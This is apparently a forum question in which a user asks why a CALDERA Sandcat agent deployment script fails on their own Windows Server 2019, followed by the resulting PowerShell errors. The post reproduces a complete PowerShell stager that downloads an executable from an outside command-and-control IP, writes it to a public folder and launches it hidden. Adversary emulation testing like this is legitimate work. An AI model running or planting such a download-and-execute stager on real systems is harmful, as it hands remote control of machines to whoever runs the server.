Errors executing Sandcat from CALDERA on my 2019 windows server - emulation

Question

I am using agent S4ndc47 from CALDERA on my target server. The follow payload script was generated from S4ndc47 and I have executed it on my target using PowerShell in admin mode. This is the script generated:
$server="52.212.164.168:8888";$url="$server/file/download";$wc=New-Object System.Net.WebClient;$wc.Headers.add("platform","windows");$wc.Headers.add("file","sandcat.go");$data=$wc.DownloadData($url);$name=$wc.ResponseHeaders["Content-Disposition"].Substring($wc.ResponseHeaders["Content-Disposition"].IndexOf("filename=")+9).Replace("`"","");get-process | ? {$_.modules.filename -like "C:\Users\Public$name.exe"} | stop-process -f;rm -force "C:\Users\Public$name.exe" -ea ignore;[io.file]::WriteAllBytes("C:\Users\Public$name.exe",$data) | Out-Null;Start-Process -FilePath C:\Users\Public$name.exe -ArgumentList "-server $server -group red" -WindowStyle hidden;
I have tried searching for the solutions online but couldn't find any. These are the errors I'm facing:
Exception calling "DownloadData" with "1" argument(s): "The given path's format is not supported."
At line:1 char:171
... Headers.add("file","sandcat.go");$data=$wc.DownloadData($url);$name=$ ...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CategoryInfo : NotSpecified: (:) [], MethodInvocationException
FullyQualifiedErrorId : NotSupportedException
Cannot index into a null array.
At line:1 char:200
... dData($url);$name=$wc.ResponseHeaders["Content-Disposition"].Substrin ...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CategoryInfo : InvalidOperation: (:) [], RuntimeException
FullyQualifiedErrorId : NullArray
Exception calling "WriteAllBytes" with "2" argument(s): "Value cannot be null.
Parameter name: bytes"
At line:1 char:482
... -ea ignore;[io.file]::WriteAllBytes("C:\Users\Public$name.exe",$dat ...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CategoryInfo : NotSpecified: (:) [], MethodInvocationException
FullyQualifiedErrorId : ArgumentNullException
Start-Process : This command cannot be run due to the error: The system cannot find the file specified.
At line:1 char:553
... | Out-Null;Start-Process -FilePath C:\Users\Public$name.exe -Argume ...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CategoryInfo : InvalidOperation: (:) [Start-Process], InvalidOperationException
FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.StartProcessCommand
I'm not sure how to solve this. I have Go installed on the target system
Any help would be greatly appreciated!